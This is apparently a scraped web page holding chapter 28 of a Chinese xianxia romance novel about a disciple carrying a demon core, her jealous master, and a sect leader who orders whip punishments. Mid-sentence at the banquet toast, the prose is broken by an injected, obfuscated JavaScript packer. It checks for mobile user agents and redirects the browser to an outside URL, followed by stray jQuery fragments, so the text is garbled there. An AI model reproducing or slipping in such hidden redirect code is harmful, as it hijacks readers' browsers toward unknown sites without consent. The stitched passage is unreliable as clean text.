28. 28

作品:《偏执男二总想上位

    她站起身,缓步走到那尸体旁边,一只蛊虫从男人的耳朵里钻出来,爬上她的手背。


    裴司瞳全无半分害怕之意,只淡淡看了一眼,随后手上腾起一团火焰,将这蛊虫烧成齑粉。


    如今裴司瞳控制自身灵力已经炉火纯青,手掌从尸体上方掠过,赤火瞬间就将尸首烧得骨头渣子都不剩了。


    “这人在山下跟了我们一路,我等他出手都快等得没了耐心。”


    她说着看了眼僵坐在椅子上的墨钦,目光带上些忧色,


    “不过师尊方才竟然没有察觉,师尊近来身体如何?”


    墨钦没答,只盯着她手上的削骨鞭:“这鞭子是……”


    裴司瞳不疾不徐道:“哦,五年前在魔教地窟,我原本打算跟魔教圣女同归于尽,但却没有死成,被祁燃救了出来,那时候我的内丹,应该说是凤凰的内丹强行吞噬了梵羲的魔核,梵羲的魔核在我体内,这鞭子便将我认成了它的主人。”


    闻言墨钦大为震惊,默了许久才道:“所以那魔教圣女已经死了?”


    “实际上她还没有死,”裴司瞳道:“她在我的身体里,我甚至能感觉到她的存在,不过师尊放心,她的力量在我之下,压制不了我。”


    “从魔教离开后,我一直感觉身体里有股暴戾之气,如何都驱散不了,半年前我恢复记忆,才知道这戾气的由来,特来玄凤山寻找解决之法,不知师尊可有主意?”


    原来她回来玄凤山,是为了此事。


    墨钦心中莫名一酸,却没有表露其他情绪,嘴上只道:“为师会想办法。”


    裴司瞳:“多谢师尊。”


    她想要是玄音宗的师弟师妹们知道梵羲的魔核在她身体内,指不定会把她当成什么怪物,何况梵羲当年杀了那么多弟子,如今宗门与魔教是有着血海深仇,恐怕一个二个都想将她并着身体里的梵羲烧了祭天。


    肚里弯弯绕绕的想法裴司瞳没有说出来,只道:


    “师尊,我不会在玄凤山逗留太久,等事情解决,我便会同祁燃一起下山离开了。”


    “下山?”墨钦一愣,“……为何?”


    裴司瞳:“我已经习惯了山下的生活,也跟祁燃说好了,要跟他一起行走江湖,四海为家。”


    墨钦心里肝肠寸断地想:她以后,便再也不回来了么?


    他知道裴司瞳已经不是没有主意的小孩子了,她决定的事,没有谁能让她改变。可既然她要离开,他独身一人留在这地方又有什么意思?


    这清音真君不做也罢,待裴司瞳解决了魔核的事情离开玄凤山后,他也跟长老们说清,辞了在玄音宗的师职,他想他可以守在她身边,哪怕只是远远看着她呢?


    .


    黄昏时分,暮色四合,墨钦独自行到庭院中站了一阵,抬眼才看见裴司瞳正独身一人坐在大树上。


    墨钦望着她清寂的背影,这次再见着她,总觉得她似乎心事重重。


    同门师兄反目。


    魔教地窟死里逃生。


    失忆……


    经历了这些任谁的心境都会发生变化吧。


    墨钦挪脚正打算过去陪陪她,忽然听见有人大喊了一声“司瞳”,目光下移,树下呼喊的少年人正是祁燃,他很快跃上大树,占据了裴司瞳身边的位置。


    祁燃拎着两壶酒,一壶递给裴司瞳,她接过便喝了起来。


    喝过酒,裴司瞳心情似乎好了许多,阴郁的脸上终于展露出一丝笑意,跟一旁的祁燃说起话来。


    两人不知在聊什么,聊着聊着,身下的树便开了花,裴司瞳笑了,揶揄似的随手摘下来一朵花,送到祁燃面前。


    他们在山下不知度过了多少次这样的夜晚,墨钦看在眼里,心中不由泛起酸楚。


    听不见两人在说什么,但动作举止亲密,已经远远超过师姐师弟的关系了。


    忽而裴司瞳闭上了唇,定定看着他,两人的面颊缓缓靠近,祁燃的耳根已经红成了一片,


    墨钦的心在这一刹悬了起来。


    一厘之隔时,裴司瞳却蓦地放声笑了,笑得肆意极了,似乎刚才根本是逗他玩的,祁燃随即羞愤地推了她一把,险些将她推下树。


    习以为常似的,连打情骂俏的动作都这么自然。


    墨钦整个人都僵住了,大脑被血液充盈,心跳“咚咚”的声音在耳边响起,好不容易脑中嘈杂的声音淡去,他捏住自己的袖口,近乎是狼狈地离开了。


    .


    宗主出关,玄凤山摆宴三日,能叫得上名号的宗派前辈皆受邀前来,此次聚会不仅是为庆贺牧玉尘出关,也顺带商议下一届门派比试的举行地点以及参加门派的名单。


    玄凤山素来清清冷冷,从没这么张灯结彩热闹欢腾过,四下仙音袅袅,流光溢彩。


    “好大的阵仗。”裴司瞳吃着桌上的小吃,不由得感慨。


    有跟裴司瞳认识的师弟道:“上次牧宗主临近出关之际险些走火入魔,闭关了足足五年呢,他这次终于顺利出关,特意庆贺一番。想来牧宗主闭关这么长时间,那功力恐怕已经到了其他门派宗主难以匹敌的境界了。”


    裴司瞳:“话说牧宗主上次为什么会险些走火入魔?”


    “这……这就不得而知了。”


    关于这牧宗主,还有一些未经证实的风闻轶事,修道大能注重血脉传承,宗主之位一般是传给下一代,然而牧宗主没有妻子,从不碰女色,更没有生下一男半女,便有传言说他是有短袖之癖,何况他还是琴修,就更有了几分那种难以言说的感觉。


    这些流言裴司瞳没有当真,她不知为何心里觉得不可置信,只当听个乐子。


    ……


    说话间一道清脆的琴音响起,天空中树叶随着弦音破空飞来,飘摇而下。


    牧玉尘踩着落叶而来,他的修炼已臻化境,踏叶无声,这出场方式简直酷炫非常,所有人的目光霎时汇聚在他身上。


    一掀衣摆,牧玉尘坐在主位上,同在座众人说了一些寒暄客套的话,忽而举起面前的玉瓷杯,撼动人心的声音道:


    “我玄音宗立派百年,历经风雨艰险,能有此番成就离不开在座诸位一脉相承的道心与情谊。这杯酒敬历代祖师,也敬同门后辈,原我宗门薪火相传,万代不朽。”


    整齐响亮的声音霍然响起:


    “敬宗主!敬宗门!”


    众人皆举杯相望,一同饮尽杯中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456729|183887||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    清酒。


    琴音响起,如潺潺流水,案几上往来宾寒暄笑语,霓裳羽衣的女弟子穿行于其间,施酒布菜,侍奉左右。


    而这一派热闹融洽的气氛却忽然被牧玉尘肃穆的声音打破:


    “我听说,五年前,在我闭关之时,魔教袭击了玄音宗,我宗门弟子死了五十八个人。”


    此话一出,原本轻松的气氛刹时沉重起来。


    牧玉尘一身冰蓝色道袍,头发梳得一丝不苟,他长了一双吊梢眼,鼻子极尖,嘴唇又薄,看上去十分严厉,外表看着四十出头,实际不知道活了多少年了。


    他清冽的眸子看向墨钦,带着谴责的语气道:


    “有一叛变的弟子,那弟子叫做江川,他之所以勾结魔教跟你有关,因为你杀了他的哥哥江枫,此事当真?”


    没想到宗主出关第一件事,就是问责墨钦,好像适才的平和只是昙花一现。


    对此墨钦没有一句辩解,承认道:“当真。”


    此事他的确有不可推脱的责任,错在那时冲动杀了江枫,也错在没有察觉江川的异常,给了魔教可乘之机。


    裴司瞳皱了眉,拿着筷子的手放了下来,只觉这宗主当着这么多人的面问责墨钦,对他简直就是羞辱,听得她心头升起一股无名火气来。


    如今的裴司瞳虽然成熟许多,却仍是少年人的心性,墨钦既是她的师尊,对她恩重如山,无论是非黑白她心中都会偏袒于他,不容许任何人折辱,哪怕是这一宗之主。


    牧玉尘:“这件事,的确是你做得不妥,这五十八名弟子的性命你有一半责任。”


    他对墨钦是寄予厚望的,甚至觉得他是下一任宗主的最佳人选,希望越高,要求越高,对他更是严厉,不能容忍他出现这种疏漏。


    “墨钦,此事,你可认错?五十八道戒鞭你可接受?”


    宗主才刚出关,就不留情面给人下马威,还是先从自己宗门人开始,四下都七嘴八舌议论起来。


    墨钦张了张嘴还没出声,裴司瞳便先一步开口道:


    “此事不是师尊的过错,师尊是为了救我才杀了江枫,如果非要罚,也应该是罚我。”


    一个微不足道的女弟子,就算有过错,也该是师傅代为受罚,牧玉尘本来想忽略裴司瞳的话,但不知为何,看见她的眼神无端有种不悦的感觉,毫无缘由。


    他身为一宗之主,不认得玄音宗这些如过江之鲫的小弟子们,这么一个无名之辈,还是个女子,却竟敢公然顶撞他,真是有些不识礼数。


    墨钦先是因为裴司瞳这一番话悸动不已,而后又忧心起来,若是裴司瞳受罚,是比他自己受罚还要教他难受,墨钦连忙道:“宗主,还是我……”


    牧玉尘却打断了他的话:“既然你们师徒情深,那便你们每人各拎二十九道鞭罚,我亲自来罚。”


    裴司瞳漠然接受。


    祁燃在下面扯住她的袖子,与她一起在人间游荡五年,他知道裴司瞳的性子,有时候过于直脑筋了些,这次根本还来不及阻止,就惹来了二十九道戒鞭,一时间都想干脆拉着她跑了,对方却一脸不以为意,安慰地摁住他的手指,


    “别担心,不就是二十多道鞭子。”